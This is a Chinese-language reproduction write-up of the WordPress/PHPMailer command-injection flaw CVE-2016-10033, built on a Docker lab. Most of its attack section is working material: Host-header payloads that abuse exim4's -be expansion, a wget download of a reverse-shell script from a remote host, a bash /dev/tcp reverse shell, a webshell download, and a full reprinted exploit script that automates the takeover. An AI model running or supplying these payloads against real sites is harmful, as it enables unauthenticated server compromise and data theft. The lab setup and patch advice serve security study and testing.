1. 程式人生 > >WordPress <= 4.6 命令執行漏洞(PHPMailer)復現分析

WordPress <= 4.6 命令執行漏洞(PHPMailer)復現分析

inux 支持 rpo with rec program 遇到 other n)

漏洞信息

WordPress 是一種使用 PHP 語言開發的博客平臺,用戶可以在支持 PHP 和 MySQL 數據庫的服務器上架設屬於自己的網站。也可以把 WordPress 當作一個內容管理系統(CMS)來使用。WordPress 使用 PHPMailer 組件向用戶發送郵件。PHPMailer(版本 < 5.2.18)存在遠程命令執行漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意文件,造成遠程命令執行的危害。

漏洞編號

CVE-2016-10033

影響版本

WordPress <= 4.7.1 PHPMailer < 5.2.18

測試環境

  1. 拉取鏡像到本地
$ docker pull medicean/vulapps:w_wordpress_6
  1. 啟動環境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6 

-p 8000:80 前面的 8000 代表物理機的端口,可隨意指定。

訪問 http://127.0.0.1:8000 看到 WordPress 主界面代表啟動成功

漏洞分析

漏洞頁面:/wp-login.php?action=lostpassword

技術分享圖片

此處是管理員重置密碼頁面,wordpress使用phpmailer組件進行重置密碼郵件的發送,但是phpmailer < 5.2.18之前的版本存在命令註入漏洞,具體你可以先閱讀分析文章鏈接 。

我們來看看這個漏洞在wordpress中的情況。漏洞文件是class.phpmailer.php

,我們在wordpress中搜索查看這個文件,該文件在在wp-includes目錄下。我們可以發現幾行關鍵代碼:

/**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var
string */ public $Sendmail = '/usr/sbin/sendmail';

我們發現,實際上phpmailer組件是調用linux系統命令sendmail進行郵件發送,命令格式為:sendmail -t -i -fusername@hostname。並且我們繼續審計代碼發現:

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

serverHostname函數通過傳入的SERVER_NAME參數來獲取主機名,該主機名即HTTP請求報文中的host值,但是SERVER_NAME參數並沒有經過任何過濾,因此我們可以進行任意構造拼接,從而產生了系統命令註入漏洞。

更棒的是,sendmail 提供了-O-X參數,-X參數用於寫入日誌文件, 我們可以使用-OQueueDirectory=/tmp/ -X/tmp/smtp.php命令組合,它會將發送的郵件保存到/tmp/smtp.php中, 那麽在請求的時候payload應該類似於這樣:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/smtp.php )@qq.com

在@前面,如果加上括號,將可以引入空格,這樣就可以拼接到了sendmail命令中並且保存了測試郵件文件。那麽如果我們寫入的是Webshell後門文件呢?

思路很好,然而現實很無奈。

  • wordpress方面以及PHPMailer庫方面都會防止攻擊者註入空字符(空格或TAB)到sendmail命令中。並且,添加括號引入向sendmail中註入參數的方法已經行不通了,具體可以參考鏈接。
  • 比如我們想要調用/bin/touch的時候也會出問題,因為host字段中如果出現/,服務器會拒絕我們的請求。

因此上述的Sendmail技術在這種情況下不起作用,這條路走不通了!

正感覺走投無路的時候,這時候我們不妨喝杯茶冷靜一下,為什麽sendmail能夠產生命令註入漏洞呢?我們去了解一下sendmail。然後就會發現柳暗花明又一村了。我們可以知道ubuntu/debain系統中,已經使用exim4替代了sendmail的功能,我們查看sendmail文件可以發現它是一個鏈向exim4的軟鏈接文件。

技術分享圖片

那麽我們可以利用exim4的語法參數進行命令執行參數的拼接啊!我們查看exim4的幫助手冊,可以發現-be參數

Run Exim in expansion testing mode. Exim  discards  its  root
                 privilege,  to prevent ordinary users from using this mode to
                 read otherwise inaccessible files. If no arguments are given,
                 Exim  runs interactively, prompting for lines of data. Other‐
                 wise, it processes each argument in turn.

                 If Exim was built with USE_READLINE=yes in Local/Makefile, it
                 tries  to  load  the libreadline library dynamically whenever
                 the -be option is used without  command  line  arguments.  If
                 successful,  it  uses the readline() function, which provides
                 extensive line-editing facilities, for reading the test data.
                 A line history is supported.

                 Long expansion expressions can be split over several lines by
                 using backslash continuations. As in Exim's run time configu‐
                 ration,  white  space  at  the start of continuation lines is
                 ignored. Each argument or data line  is  passed  through  the
                 string  expansion  mechanism, and the result is output. Vari‐
                 able values from the configuration file (for example,  $qual‐
                 ify_domain)  are  available,  but  no message-specific values
                 (such as $message_exim_id) are set,  because  no  message  is
                 being processed (but see -bem and -Mset).

                 Note:  If  you  use  this  mechanism to test lookups, and you
                 change the data files or databases you are  using,  you  must
                 exit  and  restart  Exim before trying the same lookup again.
                 Otherwise, because each Exim process caches  the  results  of
                 lookups,  you will just get the same result as before.  Macro
                 processing is done  on  lines  before  string-expansion:  new
                 macros  can  be defined and macros will be expanded.  Because
                 macros in the config file are often used for  secrets,  those
                 are only available to admin users.

簡單來說,-be參數是一個字符串拓展測試命令,它可以讀取一些變量的數據。比如,$tod_log,它可以顯示系統時間。

~$ sendmail -be '$tod_log'
2018-04-20 16:26:47

並且,exim4提供了一些函數用來執行一些命令,如字符串截取函數substr$run系統調用函數。

我們可以截取空格字符。如圖所示,substr函數從第十個字符開始截取,共截取一個字符,也就是時間字符串的第11個字符,是空格字符。

技術分享圖片

那麽同理,我們也可以截取/字符串:

技術分享圖片

我們測試使用$run函數調用系統命令

技術分享圖片

到這裏,遇到的問題都解決了,我們於是可以構造payload如下,該payload在/tmp/目錄下創建test.txt文件:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)

空格 ==> \({substr{10}{1}{\)tod_log}}

/ ==> \({substr{0}{1}{\)spool_directory}}

轉換過來就是

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

我們去密碼重置頁面輸入重置用戶名為admin,提交之後攔截請求,並把host的值修改為我們的payload:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.176.128:8000/wp-login.php?action=lostpassword
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

user_login=admin&redirect_to=&wp-submit=Get+New+Password

提交請求:

技術分享圖片

在/tmp目錄下發現成功生成了測試文件。

技術分享圖片

執行任意命令

實際上我們按照剛才的思路,替換我們想要執行的命令即可。但實際利用起來,還是有些需要註意的地方:

  • 執行的命令不能包含大量特殊字符,如 :、引號等。
  • 命令會被轉換成小寫字母
  • 命令需要使用絕對路徑
  • 需要知道某一個存在的用戶的用戶名

寫入shell

反彈shell

思路是利用curl或者wget命令下載遠程文件。這裏我測試下載執行一個反彈bash腳本。需要註意的地方:

  • 遠程 URL 中不能有 http://

  • 所有字母必須小寫

?

遠程反彈shell腳本:172.16.176.1:8080/a.txt,內容:

nohup bash -i >/dev/tcp/172.16.176.1/1337 0<&1 2>&1) &

payload:

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.176.1/a.txt}} null)

執行反彈shell:

aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

兩個payload轉換過來就是

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)


aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)

在反彈主機上用nc監聽1337端口,分別按順序提交payload即可獲取到反彈shell

nc -nvv -l -p 1337

技術分享圖片

寫入一句話webshell

同理,可以直接下載一句話webshell,然後菜刀連接。payload:

payload:

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document a.php 172.16.176.1/a.txt}} null)

轉換過來即

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}a.php${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)

POC

自動化提交payload,獲取反彈shell。通過python -mSimpleHTTPServer 80建立web服務,用於目標下載shell。運行是需要用管理員權限,因為監聽了80端口。

使用方法

sudo ./wordpress-rce-exploit.sh http://172.16.176.128:8000
#!/bin/bash
#
#      __                     __   __  __           __
#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
#    / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
#  /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
#            /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
#                        .;lc'
#                    .,cdkkOOOko;.
#                 .,lxxkkkkOOOO000Ol'
#             .':oxxxxxkkkkOOOO0000KK0x:'
#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.
#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.
#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
#     .dxxxxxdl;. .,               .. .;cdxxxxxx:
#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:
#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.
#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
#             .':oxxxxxxxxx.ckkkkkkkkxl,.
#                 .,cdxxxxx.ckkkkkxc.
#                    .':odx.ckxl,.
#                        .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------



rev_host="172.16.176.1"

function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";

      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
}


#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d

if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo


if [ "$choice" == "y" ]; then

echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"

# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!

# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"

echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0

fi


echo "Exiting..."
exit 0

修復建議

更新wordpress、phpmailer到最新版本

參考鏈接

https://paper.seebug.org/161/

http://bobao.360.cn/news/detail/4146.html

http://vulapps.evalbug.com/w_wordpress_6/

https://github.com/opsxcq/exploit-CVE-2016-10033

https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum

WordPress <= 4.6 命令執行漏洞(PHPMailer)復現分析